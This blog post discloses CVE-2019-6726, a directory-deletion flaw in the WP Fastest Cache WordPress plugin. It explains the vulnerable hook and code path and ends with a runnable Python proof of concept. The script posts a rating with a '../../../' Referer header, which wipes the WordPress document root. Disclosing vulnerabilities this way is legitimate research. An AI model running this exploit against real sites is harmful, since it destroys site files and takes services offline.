In this blogpost I will explain the details of CVE-2019-6726 - an arbitrary file deletion bug in the WP Fastest Cache wordpress plugin that I discovered last year.
The bug was fixed in version 0.8.9.1 which was released more than 2 weeks ago. The bug is only exploitable if another plugin, WP Postratings, is installed and at least one rateable post or page exists! Furthermore, the Wordpress site must have a "pretty" URL scheme configured, e.g. /<data>/<title>/
or so. Here's an example of such a post:
Although WP Fastest Cache has over 900,000 installs, WP Postratings only has around 100,000, so the set of websites that have both plugins installed is probably somewhere in the lower 10-thousands.
An attacker can only delete files from directories, but not specific files, that are writeable by the webserver. To my knowledge, this limits this vulnerability to Denial of Service (DoS) if the attacker decides to remove important Wordpress files. It therefore cannot be used in combination with the recently published Wordpress RCE where deleting the wp-config.php
would restart the installation process.
Now that I spoiled that the vulnerability is only exploitable if multiple requirements are met, we can continue to focus on the technical details ;-)
Wordpress uses a callback/hook system to execute functions when certain things happen. The WP Fastest Cache plugin registeres several such hooks:
The hook that caught my attentation was rate_action
which will execute wp_postratings_clear_cache
. After having a short look into the source code of WP Postratings, I found out that whenever a rating is given, the rate_action
hooks are triggered. WP Fastest Cache waits for that trigger, because it has to renew the cache so that the new rating statistics are immediately visible for the website visitor.
I became curious and wanted to find out how the cache is cleared, because ratings can be given without being authenticated and with a simple POST request. Maybe we can somehow interfere with the caching system?
The wp_postratings_clear_cache
function was quickly found and it indeed looked interesting! It first checks if a referrer header is set and then continues to parse it using parse_url
. If the resulting path portion is not empty, then function continues. For example everything following an URL's /
becomes the path
portion:
php > var_dump(parse_url('https://0day.work/'));
array(3) {
["scheme"]=>
string(5) "https"
["host"]=>
string(9) "0day.work"
["path"]=>
string(1) "/"
}
If the path contains more than one /
, the next conditional test will be false and branch into the more interesting part:
It looks like a path is dynamically built using string concatenation with our attacker-controlled $url['path']
portion. Such code should make each security researcher even more curious to see where the resulting path is being used. Let's find out what the rm_folder_recursively
function does ;-)
The two outermost conditions check if the passed path is a directory. That's also why our final exploit and impact is limited to directories only.
But let's have a closer look at the source code: It uses scandir
to find files in the attacker-controlled path and then loops over them to eventually call unlink
to remove the file. The function will also recursively traverse subdirectories. A shared counter $i
is incremented on each recursive function call with a maximum depth of 50.
The maximum recursion depth is only enforced for the free version. That means that if the victim has bought the premium version the max depth check is falsified and a successful exploit will keep deleting files until either no files are left or the execution timeout is hit... Premium security, I would say :-D
In the end, all the attacker has to do is to post a rating with a specially crafted referrer header to immediately deleted several directories from the victim's webserver - for example the wordpress installation.
By pointing the path to wordpress' document root, the vulnerable code path will remove PHP files that are usually required by wordpress to run, e.g. index.php
, wp-admin/
, wp-config.php
etc.
This is equivalent to a DoS, because the webserver will just render an 404 NOT FOUND
error afterwards, because it cannot find an index.php
to execute anymore. Short reminder to check your backup strategy again ;-)
Here's a very basic PoC that will do the following:
- Fetch the source code of the target URL
- Parse out the
nonce
needed to post a rating - Post a rating for the given post using a malicious referrer
- Thereby deleting important wordpress files and demonstrating the vulnerability.
#!/usr/bin/python
# PoC for CVE-2019-6726 by @gehaxelt
import requests
from bs4 import BeautifulSoup
#from requests.auth import HTTPBasicAuth
# The vulnerable page with a ratable post
BASE_URL = "http://localhost:7349/"
VOTE_PAGE = "rate-my-bobby-car-and-again/"
RATINGS_POST_OR_PAGE = "{}{}".format(BASE_URL, VOTE_PAGE)
# Send initial request to obtain nonce!
r = requests.get(RATINGS_POST_OR_PAGE)
# Parse returned HTML
bs = BeautifulSoup(r.content, "html5lib")
# Find span that has the nonce!
the_span = bs.find_all('span', attrs={'data-nonce' : True})[0]
nonce = the_span['data-nonce']
pid = the_span['id'].replace("post-ratings-", "")
print("the nonce is: ", nonce)
print("the pid is: ", pid)
burp0_url = "{}wp-admin/admin-ajax.php".format(BASE_URL)
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "{}../../../".format(BASE_URL),
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"DNT": "1",
"Connection": "close",
}
burp0_data={"action": "postratings", "pid": pid, "rate": "5", "postratings_{}_nonce".format(pid): nonce}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("Response is: ", r.status_code)
I followed the principles and reported the issue to the developer. After a bit of back-and-forth he decided to implement a fix. Although I believe that the final fix breaks some functionality, it at least prevents the vulnerability from being exploited.
-=-